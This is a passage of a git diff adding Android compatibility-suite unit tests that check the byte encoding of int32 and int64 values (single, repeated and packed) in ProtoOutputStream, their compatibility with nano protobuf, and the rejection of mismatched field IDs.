+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamInt32Test extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeInt32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeInt32.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32;
+
+        po.writeInt32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeInt32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeInt32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeInt32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeInt32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(int val) throws Exception {
+        final int fieldId = 30;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.int32Field = val;
+        po.writeInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.int32Field);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedInt32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeInt32.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_INT32;
+
+        po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new int[0]);
+        testRepeatedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(int[] val) throws Exception {
+        final int fieldId = 31;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_INT32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.int32FieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.int32FieldRepeated);
+        assertEquals(val.length, readback.int32FieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.int32FieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedInt32
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeInt32.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedInt32(ProtoOutputStream po, int fieldId, int val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT32;
+        po.writePackedInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags),
+                new int[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT32;
+
+        po.writePackedInt32(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedInt32(ProtoOutputStream.makeFieldId(1001, fieldFlags), new int[0]);
+        writePackedInt32(po, 1, 0);
+        writePackedInt32(po, 2, 1);
+        writePackedInt32(po, 3, -1);
+        writePackedInt32(po, 4, Integer.MIN_VALUE);
+        writePackedInt32(po, 5, Integer.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x02,
+                (byte)0x00,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x02,
+                (byte)0x01,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x14,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                // 4 -> MIN_VALUE
+                (byte)0x22,
+                (byte)0x14,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                // 5 -> MAX_VALUE
+                (byte)0x2a,
+                (byte)0x0a,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new int[] {});
+        testPackedCompat(new int[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testPackedInt32Compat with a given value.
+     */
+    public void testPackedCompat(int[] val) throws Exception {
+        final int fieldId = 32;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT32;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.int32FieldPacked = val;
+        po.writePackedInt32(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.int32FieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT32), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Packed
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_DOUBLE),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writePackedInt32(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT32),
+                    new int[0]);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+    }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamInt64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamInt64Test.java
new file mode 100644
index 0000000..91638e0
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamInt64Test.java
@@ -0,0 +1,446 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoOutputStream;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+import junit.framework.TestCase;
+import org.junit.Assert;
+
+/**
+ * Test the int64 methods on the ProtoOutputStream class.
+ */
+public class ProtoOutputStreamInt64Test extends TestCase {
+
+    // ----------------------------------------------------------------------
+    //  writeInt64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeInt64.
+     */
+    public void testWrite() throws Exception {
+        testWrite(0);
+        testWrite(1);
+        testWrite(5);
+    }
+
+    /**
+     * Implementation of testWrite with a given chunkSize.
+     */
+    public void testWrite(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT64;
+
+        po.writeInt64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeInt64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeInt64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeInt64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeInt64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeInt64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeInt64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, not written
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x30,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x38,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testWriteCompat() throws Exception {
+        testWriteCompat(0);
+        testWriteCompat(1);
+        testWriteCompat(-1);
+        testWriteCompat(Integer.MIN_VALUE);
+        testWriteCompat(Integer.MAX_VALUE);
+        testWriteCompat(Long.MIN_VALUE);
+        testWriteCompat(Long.MAX_VALUE);
+    }
+
+    /**
+     * Implementation of testWriteCompat with a given value.
+     */
+    public void testWriteCompat(long val) throws Exception {
+        final int fieldId = 40;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_INT64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.int64Field = val;
+        po.writeInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertEquals(val, readback.int64Field);
+    }
+
+    // ----------------------------------------------------------------------
+    //  writeRepeatedInt64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeInt64.
+     */
+    public void testRepeated() throws Exception {
+        testRepeated(0);
+        testRepeated(1);
+        testRepeated(5);
+    }
+
+    /**
+     * Implementation of testRepeated with a given chunkSize.
+     */
+    public void testRepeated(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_INT64;
+
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(1, fieldFlags), 0);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(2, fieldFlags), 1);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(3, fieldFlags), -1);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(4, fieldFlags), Integer.MIN_VALUE);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(5, fieldFlags), Integer.MAX_VALUE);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(6, fieldFlags), Long.MIN_VALUE);
+        po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(7, fieldFlags), Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x30,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x38,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x08,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x10,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x18,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x20,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x28,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+                // 6 -> Long.MIN_VALUE
+                (byte)0x30,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x01,
+                // 7 -> Long.MAX_VALUE
+                (byte)0x38,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testRepeatedCompat() throws Exception {
+        testRepeatedCompat(new long[0]);
+        testRepeatedCompat(new long[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,
+                Long.MIN_VALUE, Long.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testRepeatedCompat with a given value.
+     */
+    public void testRepeatedCompat(long[] val) throws Exception {
+        final int fieldId = 41;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_INT64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.int64FieldRepeated = val;
+        for (int i=0; i<val.length; i++) {
+            po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val[i]);
+        }
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        assertNotNull(readback.int64FieldRepeated);
+        assertEquals(val.length, readback.int64FieldRepeated.length);
+        for (int i=0; i<val.length; i++) {
+            assertEquals(val[i], readback.int64FieldRepeated[i]);
+        }
+    }
+
+    // ----------------------------------------------------------------------
+    //  writePackedInt64
+    // ----------------------------------------------------------------------
+
+    /**
+     * Test writeInt64.
+     */
+    public void testPacked() throws Exception {
+        testPacked(0);
+        testPacked(1);
+        testPacked(5);
+    }
+
+    /**
+     * Create an array of the val, and write it.
+     */
+    private void writePackedInt64(ProtoOutputStream po, int fieldId, long val) {
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT64;
+        po.writePackedInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), new long[] { val, val });
+    }
+
+    /**
+     * Implementation of testPacked with a given chunkSize.
+     */
+    public void testPacked(int chunkSize) throws Exception {
+        final ProtoOutputStream po = new ProtoOutputStream(chunkSize);
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT64;
+
+        po.writePackedInt64(ProtoOutputStream.makeFieldId(1000, fieldFlags), null);
+        po.writePackedInt64(ProtoOutputStream.makeFieldId(1001, fieldFlags), new long[0]);
+        writePackedInt64(po, 1, 0);
+        writePackedInt64(po, 2, 1);
+        writePackedInt64(po, 3, -1);
+        writePackedInt64(po, 4, Integer.MIN_VALUE);
+        writePackedInt64(po, 5, Integer.MAX_VALUE);
+        writePackedInt64(po, 6, Long.MIN_VALUE);
+        writePackedInt64(po, 7, Long.MAX_VALUE);
+
+        final byte[] result = po.getBytes();
+        Assert.assertArrayEquals(new byte[] {
+                // 1 -> 0 - default value, written when repeated
+                (byte)0x0a,
+                (byte)0x02,
+                (byte)0x00,
+                (byte)0x00,
+                // 2 -> 1
+                (byte)0x12,
+                (byte)0x02,
+                (byte)0x01,
+                (byte)0x01,
+                // 3 -> -1
+                (byte)0x1a,
+                (byte)0x14,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                // 4 -> Integer.MIN_VALUE
+                (byte)0x22,
+                (byte)0x14,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0xf8,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x01,
+
+                // 5 -> Integer.MAX_VALUE
+                (byte)0x2a,
+                (byte)0x0a,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x07,
+
+                // 6 -> Long.MIN_VALUE
+                (byte)0x32,
+                (byte)0x14,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x01,
+
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80,
+                (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x80, (byte)0x01,
+
+                // 7 -> Long.MAX_VALUE
+                (byte)0x3a,
+                (byte)0x12,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff, (byte)0xff,
+                (byte)0xff, (byte)0xff, (byte)0xff, (byte)0x7f,
+            }, result);
+    }
+
+    /**
+     * Test that writing a with ProtoOutputStream matches, and can be read by standard proto.
+     */
+    public void testPackedCompat() throws Exception {
+        testPackedCompat(new long[] {});
+        testPackedCompat(new long[] { 0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,
+                Long.MIN_VALUE, Long.MAX_VALUE });
+    }
+
+    /**
+     * Implementation of testPackedInt64Compat with a given value.
+     */
+    public void testPackedCompat(long[] val) throws Exception {
+        final int fieldId = 42;
+        final long fieldFlags = ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT64;
+
+        final Test.All all = new Test.All();
+        final ProtoOutputStream po = new ProtoOutputStream(0);
+
+        all.int64FieldPacked = val;
+        po.writePackedInt64(ProtoOutputStream.makeFieldId(fieldId, fieldFlags), val);
+
+        final byte[] result = po.getBytes();
+        final byte[] expected = MessageNano.toByteArray(all);
+
+        Assert.assertArrayEquals(expected, result);
+
+        final Test.All readback = Test.All.parseFrom(result);
+
+        Assert.assertArrayEquals(val, readback.int64FieldPacked);
+    }
+
+    /**
+     * Test that if you pass in the wrong type of fieldId, it throws.
+     */
+    public void testBadFieldIds() {
+        // Single
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_SINGLE | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_PACKED | ProtoOutputStream.FIELD_TYPE_INT64), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Repeated
+
+        // Good Count / Bad Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(1,
+                        ProtoOutputStream.FIELD_COUNT_REPEATED | ProtoOutputStream.FIELD_TYPE_DOUBLE), 0);
+        } catch (IllegalArgumentException ex) {
+            // good
+        }
+
+        // Bad Count / Good Type
+        try {
+            final ProtoOutputStream po = new ProtoOutputStream();
+            po.writeRepeatedInt64(ProtoOutputStream.makeFieldId(1,
